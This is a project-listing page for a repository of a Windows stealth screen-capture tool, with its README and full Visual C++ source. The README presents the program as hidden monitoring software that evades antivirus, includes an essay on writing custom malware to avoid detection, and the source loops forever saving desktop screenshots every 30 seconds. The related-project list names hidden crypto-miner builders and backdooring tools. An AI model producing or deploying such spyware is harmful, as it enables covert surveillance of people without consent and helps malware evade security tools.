All Projects → ajayrandhawa → Keylogger-Screen-Capture

ajayrandhawa / Keylogger-Screen-Capture

Licence: other
It is primary designed to be hidden and monitoring the computer activity. Take a screenshot of desktop in hidden mode using Visual C++ and save automatically to 'jpeg' file in every 30 second. 60+ Most Popular antivirus not detect this application while it is running on background.

Projects that are alternatives of or similar to Keylogger-Screen-Capture

android-capture
Capture video and screenshots from Android devices and emulators.
Stars: ✭ 32 (-13.51%)
Mutual labels:  screen-capture
SubRosa
Basic tool to automate backdooring PE files
Stars: ✭ 48 (+29.73%)
Mutual labels:  exploit-development
exploiting
Exploiting challenges in Linux and Windows
Stars: ✭ 122 (+229.73%)
Mutual labels:  exploit-development
LongScreenshot
This tool makes a number of screenshots, scrolling screen content automatically between each shot
Stars: ✭ 34 (-8.11%)
Mutual labels:  screen-capture
Android Screen Recorder Plugin
A simple android library project for record android screen in Unity
Stars: ✭ 28 (-24.32%)
Mutual labels:  screen-capture
autoscreen
Automated screen capture utility
Stars: ✭ 76 (+105.41%)
Mutual labels:  screen-capture
Flutter slider drawer
You can make slider drawer type ui by this plugin
Stars: ✭ 152 (+310.81%)
Mutual labels:  hidden
gotomation
No description or website provided.
Stars: ✭ 18 (-51.35%)
Mutual labels:  screen-capture
SilentCryptoMiner
A Silent (Hidden) Free Crypto Miner Builder - Supports ETH, ETC, XMR and many more.
Stars: ✭ 547 (+1378.38%)
Mutual labels:  hidden
LiveHiddenCamera
Live Hidden Camera is a library which record live video and audio from Android device without displaying a preview.
Stars: ✭ 69 (+86.49%)
Mutual labels:  hidden
go-scrap
Go library to capture screen pixels for screenshots or screen recording
Stars: ✭ 68 (+83.78%)
Mutual labels:  screen-capture
obs-text-slideshow
OBS plugin inspired by the built in image slideshow, except for text sources instead. Both Free Type 2 and GDI+ are supported.
Stars: ✭ 45 (+21.62%)
Mutual labels:  gdiplus
SilentETHMiner
A Silent (Hidden) Ethereum (ETH & ETC) Miner Builder
Stars: ✭ 219 (+491.89%)
Mutual labels:  hidden
STNodeEditor
一款基于.Net WinForm的节点编辑器 纯GDI+绘制 使用方式非常简洁 提供了丰富的属性以及事件 可以非常方便的完成节点之间数据的交互及通知 大量的虚函数供开发者重写具有很高的自由性
Stars: ✭ 166 (+348.65%)
Mutual labels:  gdiplus
hiddencodecademy.github.io
This is the place for hidden courses on Codecademy
Stars: ✭ 19 (-48.65%)
Mutual labels:  hidden
meazure
Screen magnification, measurement, capture and color sampling for Windows.
Stars: ✭ 55 (+48.65%)
Mutual labels:  screen-capture
Live-Desktop-Capture
A Live Desktop Capture using Go and WebSockets
Stars: ✭ 42 (+13.51%)
Mutual labels:  screen-capture
exploits
Exploits developed by me.
Stars: ✭ 35 (-5.41%)
Mutual labels:  exploit-development
ZFScreenRecorder
录屏,支持暂停、取消
Stars: ✭ 38 (+2.7%)
Mutual labels:  screen-capture
bst
Binary String Toolkit (BST). Quickly and easily convert binary strings for all your exploit development needs. 😎
Stars: ✭ 25 (-32.43%)
Mutual labels:  exploit-development

DISCLAIMER : OUR TOOLS ARE FOR EDUCATIONAL PURPOSES ONLY. DON'T USE THEM FOR ILLEGAL ACTIVITIES. YOU ARE THE ONLY RESPONSABLE FOR YOUR ACTIONS! OUR TOOLS ARE OPEN SOURCE WITH NO WARRANTY AND AS ARE.

𝚅𝚒𝚜𝚒𝚝𝚘𝚛𝚜

Auto Screen Capture (Stealth Mode) :

https://sourceforge.net/projects/hidden-screen-caputure/

It is primary designed to be hidden and monitoring the computer activity. Take a screenshot of desktop in hidden mode using Visual C++ and save automatically to 'jpeg' file in every 30 second. 60+ Most Popular antivirus not detect this application while it is running on background.

Why Programming Is Important for Hackers to Know :

Programming is an important skill that every self respecting hacker should master. here are some good examples of why it is important:

Building your own malware. When you program your own malware, there is no signature for it registered, thus making it pretty much impossible for AV software to detect.

Knowing how programs work will help you exploit them. though most exploit development is done in the assembly language in debuggers, knowing how a program works will help you exploit it faster.

Hacking tools are mostly open source. most hacking tools are open source, which means everyone can access the source code of said program. when you know how to program in the language the program is written, you can edit it and make it even better!

Making your own exploits. Though i recommend ruby & the Metasploit Framework for this purpose, ruby is still quite slow compared to C or C++. if you need your exploit to be fast, you can write it in C/C++.

I choose to make a series about C/C++ because C++ is a powerful language and is used in a lot of programs, like games. C is less powerfull but is still quite a low-level language, which means it interacts closely with the CPU. embedded devices are usually programmed in C aswell, from traffic lights to your microwave, will most likely run on some kind of software that is written in C.

Prerequisites:

  1. Microsoft Windows System
  2. Visual Studio 2012

Screenshot.zip (Files Included in Repo)

Contain Executable Version of Program. It run in Stealth Mode and Capture the Screenshot after 60 seconds of interval. Imaege name is based on Current System Time.

Source Code :

#include <stdio.h>
#include <string>
#include <windows.h>
#include <wininet.h>
#include <winuser.h>
#include <conio.h>
#include <time.h>
#include <fstream>
#include <strsafe.h>
#include <io.h>
#include <crtdefs.h>
#include <fstream>
#include <GdiPlus.h>
#include <lmcons.h>

//char acUserName[100];

using namespace Gdiplus;
using namespace std;

fstream err("errormul.txt",ios::app);
fstream log_error_file("log_error.txt",ios::app);

#pragma comment(lib, "user32.lib") 
#pragma comment(lib,"Wininet.lib")
#pragma comment (lib,"gdiplus.lib")

void screenshot(string file){
	ULONG_PTR gdiplustoken;
	GdiplusStartupInput gdistartupinput;
	GdiplusStartupOutput gdistartupoutput;

	gdistartupinput.SuppressBackgroundThread = true;
	GdiplusStartup(& gdiplustoken,& gdistartupinput,& gdistartupoutput); //start GDI+

	HDC dc=GetDC(GetDesktopWindow());//get desktop content
	HDC dc2 = CreateCompatibleDC(dc);	 //copy context

	RECT rc0kno;  // rectangle  Object

	GetClientRect(GetDesktopWindow(),&rc0kno);// get desktop size;
	int w = rc0kno.right-rc0kno.left;//width
	int h = rc0kno.bottom-rc0kno.top;//height

	HBITMAP hbitmap = CreateCompatibleBitmap(dc,w,h);  //create bitmap
	HBITMAP holdbitmap = (HBITMAP) SelectObject(dc2,hbitmap);

	BitBlt(dc2, 0, 0, w, h, dc, 0, 0, SRCCOPY);  //copy pixel from pulpit to bitmap
	Bitmap* bm= new Bitmap(hbitmap,NULL);

	UINT num;
	UINT size;

	ImageCodecInfo *imagecodecinfo;
	GetImageEncodersSize(&num,&size); //get count of codec

	imagecodecinfo = (ImageCodecInfo*)(malloc(size));
	GetImageEncoders (num,size,imagecodecinfo);//get codec

	CLSID clsidEncoder;

	for(int i=0; i < num; i++)
	{
		if(wcscmp(imagecodecinfo[i].MimeType,L"image/jpeg")==0)
			clsidEncoder = imagecodecinfo[i].Clsid;   //get jpeg codec id

	}

	free(imagecodecinfo);

	wstring ws;
	ws.assign(file.begin(),file.end());  //sring to wstring
	bm->Save(ws.c_str(),& clsidEncoder);   //save in jpeg format
	SelectObject(dc2,holdbitmap);  //Release Objects
	DeleteObject(dc2);
	DeleteObject(hbitmap);

	ReleaseDC(GetDesktopWindow(),dc);
	GdiplusShutdown(gdiplustoken);

}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int CmdShow)
{
	while(true){
	SYSTEMTIME st;  // create object of system time 
	GetLocalTime(&st);
	int year = st.wYear;  // extract year from system time
	int month = st.wMonth; // extract month from system time
	int day = st.wDay; // extract year day system time
	int hour = st.wHour; // extract year hours system time
	int mintue = st.wMinute; // extract mintue from system time

	string yearS =  to_string(year);
	yearS += "_";
	string monthS =  to_string(month);
	monthS += "-";
	string dayS =  to_string(day);
	dayS += "-";
	string hourS =  to_string(hour);
	hourS += "H-";
	string mintueS =  to_string(mintue);
	mintueS += "M.jpg";

	string startDate;
	startDate =dayS + monthS + yearS + hourS + mintueS;  // create complete string of date and time
	
	screenshot(startDate);   // send string to screenshot function
	Sleep(1000*30*1);  // delay execution of function 60 Seconds
	}
}

Version

1.7

Happy Open Source

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].